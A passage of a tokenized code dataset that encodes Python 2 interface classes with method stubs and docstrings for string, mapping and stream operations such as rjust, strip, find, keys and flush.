"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Rig", "ht", "Align_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "rjust_", "(_", "width_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "copy", " ", "of", " ", "text", " ", "right", "-", "aligned", " ", "in", " ", "string", " ", "of", " ", "give", "n", " ", "widt", "h", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Le", "ft", "Align_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "ljust_", "(_", "width_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "copy", " ", "of", " ", "text", " ", "left", "-", "aligned", " ", "in", " ", "string", " ", "of", " ", "give", "n", " ", "widt", "h", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Zero", "Fill_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "zfill_", "(_", "width_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "copy", " ", "of", " ", "text", " ", "left", "-", "zero", "-", "padde", "d", " ", "in", " ", "string", " ", "of", " ", "give", "n", " ", "widt", "h", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Translate", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "translate_", "(_", "table_", ",_", "to", "Delete_", "=_", "\"\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "copy", " ", "of", " ", "text", " ", "translat", "ed", " ", "via", " ", "table", " ", "with", " ", "to", " ", "to", "Delete", " ", "character", "s", " ", "remove", "d", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Expand", "Tabs", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "expand", "tabs_", "(_", "tabs", "ize_", "=_", "8_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "copy", " ", "of", " ", "text", " ", "with", " ", "tabs", " ", "expand", "ed", " ", "to", " ", "tabs", "ize", " ", "space", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Case", "Upp", "er_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "upper_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "a", " ", "copy", " ", "of", " ", "text", " ", "in", " ", "all", " ", "upper", "case", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Case", "Lower", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "a", " ", "copy", " ", "of", " ", "text", " ", "in", " ", "all", " ", "lower", "case", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Case", "Swa", "p_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "swap", "case_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "a", " ", "copy", " ", "of", " ", "text", " ", "with", " ", "case", " ", "of", " ", "all", " ", "character", "s", " ", "swapp", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Case", "Title_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "title_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "a", " ", "copy", " ", "of", " ", "text", " ", "in", " ", "title", "-", "case", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Strip", "Left_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "lstrip_", "(_", "whitespace_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "copy", " ", "of", " ", "text", " ", "with", " ", "left", "most", " ", "whitespace", " ", "trimmed", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "whitespace", " ", "--", " ", "Non", "e", ",", " ", "indicati", "ng", " ", "regular", " ", "whitespace", ",", " ", "other", "wis", "e", "\\", "10", ";", "\t\t\t", "set", " ", "of", " ", "character", "s", " ", "whi", "ch", " ", "shou", "ld", " ", "be", " ", "trimmed", ".", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Strip", "Right_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "rstrip_", "(_", "whitespace_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "copy", " ", "of", " ", "text", " ", "with", " ", "right", "most", " ", "whitespace", " ", "trimmed", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "whitespace", " ", "--", " ", "Non", "e", ",", " ", "indicati", "ng", " ", "regular", " ", "whitespace", ",", " ", "other", "wis", "e", "\\", "10", ";", "\t\t\t", "set", " ", "of", " ", "character", "s", " ", "whi", "ch", " ", "shou", "ld", " ", "be", " ", "trimmed", ".", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Strip", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "strip_", "(_", "whitespace_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "copy", " ", "of", " ", "text", " ", "with", " ", "lead", "ing", " ", "and", " ", "trail", "ing", " ", "whitespace", " ", "trimmed", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "whitespace", " ", "--", " ", "Non", "e", ",", " ", "indicati", "ng", " ", "regular", " ", "whitespace", ",", " ", "other", "wis", "e", "\\", "10", ";", "\t\t\t", "set", " ", "of", " ", "character", "s", " ", "whi", "ch", " ", "shou", "ld", " ", "be", " ", "trimmed", ".", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Decode", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "decode_", "(_", "encoding_", "=_", "None_", ",_", "errors_", "=_", "\"", "strict", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Decode", " ", "text", " ", "usi", "ng", " ", "the", " ", "codec", " ", "register", "ed", " ", "for", " ", "encoding", ".", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "encoding", " ", "default", "s", " ", "to", " ", "the", " ", "default", " ", "encoding", ".", " ", "error", "s", " ", "may", " ", "be", " ", "give", "n", "\\", "10", ";", "\t", "\t", "to", " ", "set", " ", "a", " ", "different", " ", "error", " ", "handling", " ", "sche", "me", ".", " ", "Default", " ", "is", " ", "'", "strict", "'", "\\", "10", ";", "\t", "\t", "meaning", " ", "tha", "t", " ", "encoding", " ", "error", "s", " ", "raise", " ", "a", " ", "Value", "Error", ".", " ", "Ot", "her", " ", "possib", "le", "\\", "10", ";", "\t", "\t", "values", " ", "are", " ", "'", "ignore", "'", " ", "and", " ", "'", "replace", "'.", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Encode", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "encode_", "(_", "encoding_", "=_", "None_", ",_", "errors_", "=_", "\"", "strict", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Encode", " ", "text", " ", "usi", "ng", " ", "the", " ", "codec", " ", "register", "ed", " ", "for", " ", "encoding", ".", "\\", "10", ";", "\\", "10", ";", "\t", "\t", "encoding", " ", "default", "s", " ", "to", " ", "the", " ", "default", " ", "encoding", ".", " ", "error", "s", " ", "may", " ", "be", " ", "give", "n", "\\", "10", ";", "\t", "\t", "to", " ", "set", " ", "a", " ", "different", " ", "error", " ", "handling", " ", "sche", "me", ".", " ", "Default", " ", "is", " ", "'", "strict", "'", "\\", "10", ";", "\t", "\t", "meaning", " ", "tha", "t", " ", "encoding", " ", "error", "s", " ", "raise", " ", "a", " ", "Value", "Error", ".", " ", "Ot", "her", " ", "possib", "le", "\\", "10", ";", "\t", "\t", "values", " ", "are", " ", "'", "ignore", "'", " ", "and", " ", "'", "replace", "'.", "\\", "10", ";", "\t", "\t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Start", "s", "With_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "startswith_", "(_", "prefix_", ",_", "start_", "=_", "0_", ",_", "end_", "=_", "sys_", "._", "maxint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "true", " ", "if", " ", "the", " ", "text", " ", "(", "in", " ", "the", " ", "give", "n", " ", "slice", ")", " ", "starts", " ", "with", " ", "the", " ", "give", "n", " ", "suff", "ix", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "End", "s", "With_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "endswith_", "(_", "suffix_", ",_", "start_", "=_", "0_", ",_", "end_", "=_", "sys_", "._", "maxint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "true", " ", "if", " ", "the", " ", "text", " ", "(", "in", " ", "the", " ", "give", "n", " ", "slice", ")", " ", "ends", " ", "with", " ", "the", " ", "give", "n", " ", "suff", "ix", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Count_", "(_", "IS", "eque", "nce", "Count_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "count_", "(_", "sub_", ",_", "start_", "=_", "0_", ",_", "end_", "=_", "sys_", "._", "maxint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Count", " ", "the", " ", "number", " ", "of", " ", "occurrences", " ", "of", " ", "substring", " ", "in", " ", "give", "n", " ", "slice", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Find_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "find_", "(_", "sub_", ",_", "start_", "=_", "0_", ",_", "end_", "=_", "sys_", "._", "maxint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "lowe", "st", " ", "index", " ", "where", " ", "substring", " ", "found", " ", "in", " ", "slice", ",", " ", "-1", " ", "if", " ", "not", " ", "found", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Index_", "(_", "IS", "eque", "nce", "Index_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "index_", "(_", "sub_", ",_", "start_", "=_", "0_", ",_", "end_", "=_", "sys_", "._", "maxint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "lowe", "st", " ", "index", " ", "where", " ", "substring", " ", "found", " ", "in", " ", "slice", ",", " ", "Value", "Error", " ", "if", " ", "not", " ", "found", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Fin", "d", "Right_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "rfind_", "(_", "sub_", ",_", "start_", "=_", "0_", ",_", "end_", "=_", "sys_", "._", "maxint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "high", "est", " ", "index", " ", "where", " ", "substring", " ", "found", " ", "in", " ", "slice", ",", " ", "-1", " ", "if", " ", "not", " ", "found", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Index", "Right_", "(_", "IS", "eque", "nce", "Index_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "rindex", "_", "(_", "sub_", ",_", "start_", "=_", "0_", ",_", "end_", "=_", "sys_", "._", "maxint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "high", "est", " ", "index", " ", "where", " ", "substring", " ", "found", " ", "in", " ", "slice", ",", " ", "Value", "Error", " ", "if", " ", "not", " ", "found", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Is", "Al", "pha", "Numeric_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "isal", "num_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "whe", "ther", " ", "len", "(", "text", ")", " ", ">", " ", "0", " ", "and", " ", "text", " ", "is", " ", "entire", "ly", " ", "alphanumeric", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Is", "Alpha_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "isalpha_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "whe", "ther", " ", "len", "(", "text", ")", " ", ">", " ", "0", " ", "and", " ", "text", " ", "is", " ", "entire", "ly", " ", "alphabetic", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Is", "Digit", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "isdigit_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "whe", "ther", " ", "text", " ", "is", " ", "entire", "ly", " ", "compose", "d", " ", "of", " ", "digit", " ", "character", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Is", "Numeric_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "isdigit_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "whe", "ther", " ", "text", " ", "is", " ", "entire", "ly", " ", "compose", "d", " ", "of", " ", "numeri", "c", " ", "character", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Is", "Lower", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "isl", "ower", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "whe", "ther", " ", "len", "(", "text", ")", " ", ">", " ", "0", " ", "and", " ", "text", " ", "is", " ", "entire", "ly", " ", "lower", "case", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Is", "Space_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "isspace", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "whe", "ther", " ", "len", "(", "text", ")", " ", ">", " ", "0", " ", "and", " ", "text", " ", "is", " ", "entire", "ly", " ", "whitespace", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Is", "Tit", "le", "Case", "d_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "isti", "tle_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "whe", "ther", " ", "text", " ", "is", " ", "entire", "ly", " ", "format", "ted", " ", "in", " ", "title", " ", "case", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IT", "ext", "Is", "Upp", "er", "Case", "d_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "isupper", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "whe", "ther", " ", "text", " ", "is", " ", "entire", "ly", " ", "format", "ted", " ", "in", " ", "upper", " ", "case", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "Clear_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "clear_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Remove", " ", "all", " ", "subel", "ement", "s", " ", "from", " ", "this", " ", "object", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "Copy_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "copy_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "a", " ", "shallow", " ", "copy", " ", "of", " ", "the", " ", "mapping", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "Update_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "update_", "(_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Add", " ", "all", " ", "keys", " ", "from", " ", "other", ",", " ", "overrid", "ing", " ", "local", " ", "key", "-", "value", " ", "combinat", "ion", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "Get_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get_", "(_", "key_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "the", " ", "item", " ", "for", " ", "the", " ", "gi", "ving", " ", "key", ",", " ", "or", " ", "default", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "Pop", "Item_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "popi", "tem_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "some", " ", "(", "key", ",", "value", ")", " ", "pair", " ", "from", " ", "the", " ", "dictionar", "y", ",", " ", "Key", "Error", " ", "if", " ", "empty", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "Set", "Default_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "setdefault_", "(_", "key_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Retrieve", " ", "current", " ", "value", ",", " ", "or", " ", "set", " ", "default", " ", "value", " ", "and", " ", "return", " ", "tha", "t", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "Has", "Key_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "has", "\\u", "key_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Det", "erm", "ine", " ", "whe", "ther", " ", "the", " ", "key", " ", "exist", "s", " ", "in", " ", "the", " ", "mapping", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "Items_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "all", " ", "items", " ", "in", " ", "mapping", " ", "as", " ", "a", " ", "(", "key", ",", " ", "value", ")", " ", "list", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "It", "er", "Items_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "all", " ", "items", " ", "in", " ", "mapping", " ", "as", " ", "a", " ", "(", "key", ",", " ", "value", ")", " ", "iterable", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "Keys_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "all", " ", "keys", " ", "in", " ", "mapping", " ", "as", " ", "a", " ", "list", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "It", "er", "Keys_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "iterkeys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "all", " ", "keys", " ", "in", " ", "mapping", " ", "as", " ", "an", " ", "iterable", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "Values_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "all", " ", "values", " ", "in", " ", "mapping", " ", "as", " ", "a", " ", "list", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IM", "appin", "g", "It", "er", "Values_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "itervalues_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Return", " ", "all", " ", "values", " ", "in", " ", "mapping", " ", "as", " ", "an", " ", "iterable", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Close_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "close_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "flush", " ", "internal", " ", "buffer", "s", ",", " ", "close", " ", "the", " ", "stream", ",", " ", "and", " ", "release", " ", "resource", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Flu", "sh_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "flush_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"\"\"", "Flu", "sh", " ", "(", "write", ")", " ", "internal", " ", "buffer", "s", " ", "to", " ", "the", " ", "stream", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IS", "tream", "Is", "TTY", "_", "(_", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "isatty_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 